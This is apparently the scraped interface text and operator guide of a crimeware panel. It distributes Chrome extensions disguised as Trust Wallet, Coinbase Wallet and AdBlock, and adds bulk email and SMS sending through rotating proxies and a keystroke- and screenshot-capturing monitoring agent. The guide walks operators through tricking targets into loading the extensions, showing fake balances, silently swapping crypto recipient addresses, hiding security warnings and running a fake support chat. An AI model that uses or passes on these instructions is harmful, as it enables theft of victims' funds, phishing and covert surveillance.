Isolated per-operator environments, admin-managed access, and one unified console for every tool your team runs — browser control, campaign delivery, and endpoint telemetry.
Three disguised Chrome extensions — Trust Wallet, Coinbase Wallet, and AdBlock — silently wired to your management panel. Push fake crypto balances and swap recipient wallet addresses directly inside Coinbase and Trust Wallet, mutate any webpage the target is viewing live, and engage them through an injected chat widget.
Email Marketing
Campaign Engine · 100k / mo
Checking…
Send up to 100,000 emails a month from a single dashboard. Auto-rotating proxies keep your sending reputation clean, ready-made templates get you started in minutes, and a live delivery feed shows you exactly what's landing in the inbox.
SMS Marketing
Bulk SMS · 1k / mo
Checking…
Blast SMS campaigns to your recipient lists from one screen. Personalise with {{name}} merge fields, preview your segment, and send through your organisation's provisioned gateway — no keys to manage.
Employee Monitor Software
Telemetry & CPU Monitor · AsiNet
Checking…
Cloud-native endpoint monitoring platform. Rust agent streams keystroke counts, screenshots, app focus, idle events, and live screen to the dashboard. RBAC, multi-tenant orgs, alert engine.
Recent Activity
Loading…
Status:IDLE
Sent: 0Failed: 0Remaining: 0Pass: —
Email Fields
Template Pool
rotated per send when 2+
No templates — using compose body for all sends.
Recipients
0
No recipients loaded
Import CSV
FORMAT: address,display_name (one per line)
SMTP Accounts
00
Host
Port
Security
Username
Status
No accounts loaded
Import Accounts
FORMAT: user:pass OR host:port:user:pass
Live Trace
0auto-scroll0 events
Waiting for campaign…
Errors
0
Time
Recipient
Category
Error
No errors yet
SOCKS5 Proxies
00
No proxies loaded
Proxy Configuration
Proxies are provisioned by your administrator and applied automatically when a campaign runs.
—PROXIES PROVISIONED
ROTATION: —
No proxies provisioned — contact your administrator.
Import Proxies
FORMAT: host:port OR host:port:user:pass
Auto-Refresh URL
Fetched every 5 min during campaign
Rotation Mode
Pacing Presets
Send Mode
Pacing
Save Profile
Load Profile
No saved profiles
Tenants
Manage all operator accounts, roles, and access.
Total Tenants
—
all accounts
Active
—
not suspended
Online Now
—
active last 5 min
Suspended
—
access revoked
Accounts
0
#
Tenant
Role
Status
License
Features
Last Active
Actions
Loading…
New Tenant
Invite Tokens
Generate and manage one-time registration tokens.
Tokens
0
Token
Status
Used By
Actions
Loading…
Services
Per-tenant service processes — click a user to manage their instances.
SMS Marketing
Compose and send bulk SMS through your provisioned gateway.
Message
Status:IDLE
Sent: 0Failed: 0Remaining: 0
Recipients
0
One phone number per line — E.164 format (e.g. +14155550123)
Delivery Summary
Loading…
Top failure reasons
Recent failed sends
Time
Recipient
Reason
No data yet
Tenant Details
Settings
Manage your profile, security, and subscription.
Profile
?
—
—
Saved
Security
Password
Change your login password
Subscription
Checking…
Installer Downloads
Download extension installers for your account. Send these to your targets.
Devices
All extension installs ever seen on your panel.
Extension
Label
IP
Last Seen
Status
Loading…
Messages
Unified inbox — all extension conversations.
Clients
Loading…
Select a client to view messages
Viewing as — All actions run as this operator
Manage License
@user
Choose duration from today
Or set an exact expiry date
Pick a duration or date to preview the new expiry.
Confirm
Change Password
Manage SMTP
@user
Sending identity
Operators cannot change the sending identity — only admins control it here.
Provisioned accounts · 0
Add accounts
Paste SendGrid API keys — one per line
Manage SMS API
@user
SMS gateway
Gateway API key
Operators send through this key but never see it. Sender ID is set by each operator.
Webhook secret
Used to verify delivery-status callbacks.
Manage Proxies
@user
SOCKS5 Proxy list
FORMAT: host:port OR host:port:user:pass (one per line)
Operator Guide
Step-by-step reference for all platform tools
Installation
1
Download the extension package
Open the Inception panel → click Open Console → go to the Downloads tab. Download the extension ZIP for the target type (Trust Wallet, Coinbase Wallet, or AdBlock). Each package is pre-configured to connect back to your management panel.
2
Deliver to the target machine
Send the ZIP to the target via any channel (email, file share, USB). Instruct them to extract it. The folder name and icon are disguised as the legitimate wallet extension so they appear familiar.
3
Load in Chrome
Target opens chrome://extensions → toggles Developer Mode ON (top-right) → clicks Load unpacked → selects the extracted folder. The extension installs and immediately connects to your panel.
4
Confirm connection
A new session row appears in the Mirage admin panel within seconds, showing the target's browser, IP, and current page URL. The extension reconnects automatically if the browser restarts.
Running the Simulation
5
Reading the session list
Each row shows the target's browser + OS, current page URL, extension type badge (TW / CB / AB), connection time, and live status. A green dot = WebSocket active. Grey = backgrounded but still connected. Click any row to open the detail panel.
6
DOM Editor — editing elements
Use the crosshair picker and type a CSS selector (e.g. #balance-display). The editor loads the element's live HTML — edit it and click Apply. Changes are pushed instantly. Edits persist per-session across page navigations.
7
DOM Editor — CSS injection
The Inject CSS tab pushes a full stylesheet into the page's <head>. Applies globally and survives soft navigations — use it to hide balance rows, error banners, or security warnings.
8
Wallet balances (Trust Wallet / Coinbase)
Open the Wallet accordion → Holdings. Set token name, amount, USD value, network. Click Push Wallet Data — the extension intercepts the wallet's balance call and returns your figures. The target sees them inside their wallet popup immediately.
9
Recipient address swap
In Recipient Wallets, add your address with an optional label. When the target opens the send screen, the extension silently replaces the destination address with yours — the label they see stays unchanged.
10
Live chat widget
Open the Console tab and send a message — a support chat widget appears in the bottom-right of the target's page via Shadow DOM. Their replies appear in your Console in real time. The widget persists across navigations within the same tab.
11
Reset & cleanup
Reset Edits wipes all stored DOM edits and force-reloads the target's tab. The disconnect icon closes the WebSocket and removes the session. The extension will attempt to reconnect on the next page load unless uninstalled.
Email Marketing
1
SMTP configuration
Go to Email Marketing → SMTP. Your SMTP credentials are provisioned by your administrator — host, port, and from address are shown. Click Send Test to verify before launching. If it fails, contact your administrator.
2
Import recipients
Go to the Recipients tab. Paste email addresses (one per line) or upload a .csv with email, name columns. The name column enables merge fields. Duplicates are removed automatically.
3
Write the template
In the Template tab, write your subject and HTML body. Use {{name}} and {{email}} as merge fields — replaced per-recipient at send time. The right panel renders a live preview as you type.
4
Pacing & sending
Set batch size and delay in Settings — smaller batches reduce spam filtering risk. Click Start Campaign. A live progress bar tracks sent / failed counts. Pause or stop at any time. The log shows per-recipient SMTP response codes in real time.
SMS Broadcast
1
SMS API key
Your SMS gateway key is provisioned by your administrator. Go to Email Marketing → SMS to verify it's connected — a green indicator confirms the gateway is reachable. If it shows an error, contact your administrator.
2
Import phone numbers
Paste numbers in the Recipients field — one per line, international format (e.g. +14155552671). A .csv with a phone column is also accepted. Invalid numbers are flagged and skipped at send time.
3
Compose the message
Write your SMS body — keep it under 160 characters to avoid multi-part billing. Use {{name}} for personalisation. Set a Sender ID (up to 11 alphanumeric characters or a phone number) — this is what the recipient sees as the sender name.
4
Send & monitor
Click Send Blast. Messages are dispatched in batches through your gateway. The live log shows per-number status — delivered, failed, or queued — with gateway error codes on failures. Export the results log after the blast completes.